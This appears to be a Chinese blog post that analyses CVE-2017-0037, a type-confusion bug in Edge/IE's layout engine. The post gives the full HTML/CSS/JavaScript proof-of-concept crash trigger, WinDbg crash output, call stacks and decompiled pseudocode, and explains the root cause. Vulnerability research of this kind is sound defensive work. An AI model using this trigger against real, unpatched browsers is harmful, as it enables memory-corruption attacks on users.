CVE-2017-0037 漏洞分析

漏洞概述

该漏洞是一个由于对传入参数限制不严格导致的类型混淆,错误的将TableGridBoxBuilder 当作 FlowBoxBuilder 对象来使用,导致程序可访问任意地址。该漏洞可以在 IE 和 EDGE 中触发,由于 IE DOM 树的结构并不直观,这里采用 EDGE 进行调试和分析

漏洞样本

漏洞样本如下,为了方便定位漏洞触发相关的 DOM 节点,我在其中加入了一些 text 作为标记

<style>
.class1 { float: left; column-count: 5; background-color:#FFFF00;}
.class2 { column-span: all; columns: 1px; }
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "sss";
  th1.align = "right";
}
</script>
<body onload="setTimeout(boom,100)">
<table cellspacing="0" border=1>
    <tr class="class1">aaa
        <td id="th1" colspan="5" width=55>ssss</td>
        <th class="class2" width=0>bb
            <div class="class2">cc</div>
        </th>
    </tr>
</table>

漏洞分析

首先查看页面代码,大体流程为, 浏览器首先根据 css 渲染页面, 待页面渲染完成之后使用 media.mediaText = "" 为css 设置媒体属性,使 css 变成非阻塞试的,即使得当前页面不用考虑 css 解析结果就可以进行渲染,(这里只要不是“all”或者“screen”都可以),再次设置 th1.align 使页面重新渲染,这时的渲染将不会考虑之前的css,从而会使得页面所有元素被重新布局,在这个阶段发生崩溃

打开程序访问样本,漏洞触发点如下,可以看到,程序崩溃在访问 eax 寄存器所指向的地址时,eax 的值可以通过页面中数据进行控制

0:008> g
(d60.132c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000484 ebx=0dbbdd58 ecx=0dbc1fe8 edx=00000006 esi=00000064 edi=13f1ef88
eip=60ef9feb esp=0861d2b0 ebp=0861d2d4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x75:
60ef9feb 833800          cmp     dword ptr [eax],0    ds:0023:00000484=????????

下断点 bp EDGEHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x5d
此处发生函数调用,返回值 eax 作为指针 ,这里总共会发生两次调用,函数参数保存在 ecx 中从 (poi(ebx+0x10)+0x88) 位置获得。

60ef9fda 8b4310          mov     eax,dword ptr [ebx+10h]
60ef9fdd 8b8888000000    mov     ecx,dword ptr [eax+88h]
60ef9fe3 894dec          mov     dword ptr [ebp-14h],ecx
60ef9fe6 e805226eff      call    edgehtml!Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem> >::Readable (605dc1f0)
60ef9feb 833800          cmp     dword ptr [eax],0

第一次 ebx 为 FlowBoxBuilder 对象;第二次 ebx 为 TableGridBoxBuilder 对象

第一次调用栈为

0:008> k
ChildEBP RetAddr  
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50

第二次调用栈为

0:008> k
ChildEBP RetAddr  
0879c6cc 60aacd74 edgehtml!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0x70
0879c6f8 6084431f edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x2b9f4
0879c76c 60843afb edgehtml!Layout::FlowBoxBuilder::MoveToNextPosition+0x2ff
0879c7cc 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x4fb
0879c87c 60936a3a edgehtml!Layout::PageCollection::FormatPage+0x10b
0879c980 6091bcfb edgehtml!Layout::PageCollection::LayoutPagesCore+0x25a
0879c9b8 6091b5c6 edgehtml!Layout::PageCollection::LayoutPages+0xa0
0879c9f4 6091b298 edgehtml!Layout::PageCollection::DoLayout+0x126
0879ca44 6086d717 edgehtml!CView::ExecuteLayoutTasks+0x8d
0879caac 6070bb5b edgehtml!CView::EnsureView+0x2c7
0879cdbc 60708c22 edgehtml!CView::HitTestPoint<0>+0x377
0879ce7c 607089c7 edgehtml!CView::HitTestForMessage<0>+0xb3
0879ceac 606cddaa edgehtml!CDoc::HitTestPoint+0x50

我们发现,两次调用栈一样,跟踪程序流程可知,第二次函数调用与第一次在同一函数内部,使用ida查看该上层函数,可以发现,此处是一个循环导致,循环每次取当前 FlowBox 的 ParentBoxBuilder,直到无对象为止,伪代码如下所示,其中取出了一些与漏洞无关的代码,可以看出这里在取出 parentBoxBuilder 之后并没有进行合法性校验就直接使用,从而导致了崩溃。

 while ( 1 )
  {
    if ( !cBoxBuilder )
      return 0;
    if ( Layout::LayoutBoxBuilder::IsMultiColumnBoxBuilder(cBoxBuilder) )
      break;
    if ( Layout::LayoutBoxBuilder::IsFlowBoxBuilder(cBoxBuilder_1) )
      v3 += *((_DWORD *)cBoxBuilder + 171);
 
      /****************
      ****************/
      
      v10 = ((int (*)(void))Layout::Patchable<Layout::PatchableArrayData<Layout::SGridBoxItem>>::Readable)();
      
      /****************
      ****************/
 
    v26 = *(_DWORD *)(*((_DWORD *)cBoxBuilder + 4) + 12);
    cBoxBuilder = Layout::ContainerBoxBuilder::ParentContainerBoxBuilder(cBoxBuilder);
  }

HandleColumnBreakOnColumnSpanningElement 函数上下断点,顾名思义,函数是在一个 colume span 属性的对象发生修改时被调用的。 该函数在样本中一共会被调用 32 次, ,通过 BoxBuilder 可以索引到相应的对象,这里崩溃时调用对应的DOM对象为一个 CTableCell ,在页面中对应的为第二个 <th> 标签内部对象。

此次传入函数的参数为 FlowBoxBuilder ,其对应的 DOM 节点对象为 "bb" 文本对象的父 generate 对象, 根据当前节点对应的 FlowBox+0x88 位置设置一个标记位,若该标记位被设置,则依次向上遍历其 parentBoxBuilder

根据单步调试过程可以看出,第一次调用的DOM 对象和崩溃时调用的是同一个,只是其 FlowBox 发生了改变,应该是解析 css 过程中对 box 内容进行了更改。 于是在这里下断点观察。可以看出这里每次发生页面渲染操作时(页面内容发生变化)都会改变,而其偏移 0x88 位置的值则是在如下的调用流程中被修改的,若此处没有被修改,则会诱发崩溃。

088cca84 6060721a edgehtml!Layout::FlowBoxBuilder::AddFlowItem+0x9f
088ccd28 6084529f edgehtml!Layout::FlowBoxBuilder::BuildLine+0x43a
088cce78 6084384f edgehtml!Layout::FlowBoxBuilder::BuildBoxItem+0x11f
088cced4 6091b94e edgehtml!Layout::LayoutBuilderDriver::BuildPageLayout+0x24f

通过调用栈可以看到,这里是发生在构建页面 line 时。

第一次处理 '第二个 <th> 标签' 时,对应的Container 对象为为 FlowBox,正常处理,取 parentBoxBuilder 便会取到 <tr> 对象对应的 ContainerBox,其为 GridBox,与 FlowBox结构不同,从而造成了类型混淆。

后续工作

因为分析的时候遇到了很多困难,所以到网上搜索了一些文档~看到了 0patch ~看到了 0patch 的补丁~ 为什么感觉这个补丁完全没有在修补漏洞呢~

这个漏洞涉及到了css 等一些东西,知识点比较杂乱所以分析的也是乱七八糟,这里先记下来作为调试笔记~~和渲染相关的东西有点多~

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,547评论 6 477
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,399评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,428评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,599评论 1 274
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,612评论 5 365
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,577评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,941评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,603评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,852评论 1 297
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,605评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,693评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,375评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,955评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,936评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,172评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 43,970评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,414评论 2 342

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 171,398评论 25 707
  • 走路时目不斜视,躲躲闪闪。 闲坐中心猿意马,鬼使神差。 睡梦里颠鸾倒凤,欲罢不能。 梦醒后痛心疾首,耳红面赤。
    随缘兴趣阅读 205评论 0 0
  • 给大家推荐一本书:《定位》,基本上任何一个关于营销学的书单里都有这本书,“定位”确实是一个伟大的营销理念。但是根据...
    王二宝阅读 1,586评论 0 0
  • 黑夜里 我想抓住我的影子 给我作个伴 可我的手不够长 只得任由它从我指教滑落 落在地上 我的影子 透露着夜的昏暗
    苏慕空阅读 198评论 1 1
  • 前几日在笔者所在实验室发生了这样一件事,故事的主人公是A小姐和B经理。 背景是本来安排A小姐周六加班的,但是A小姐...
    悦怿gx阅读 253评论 0 0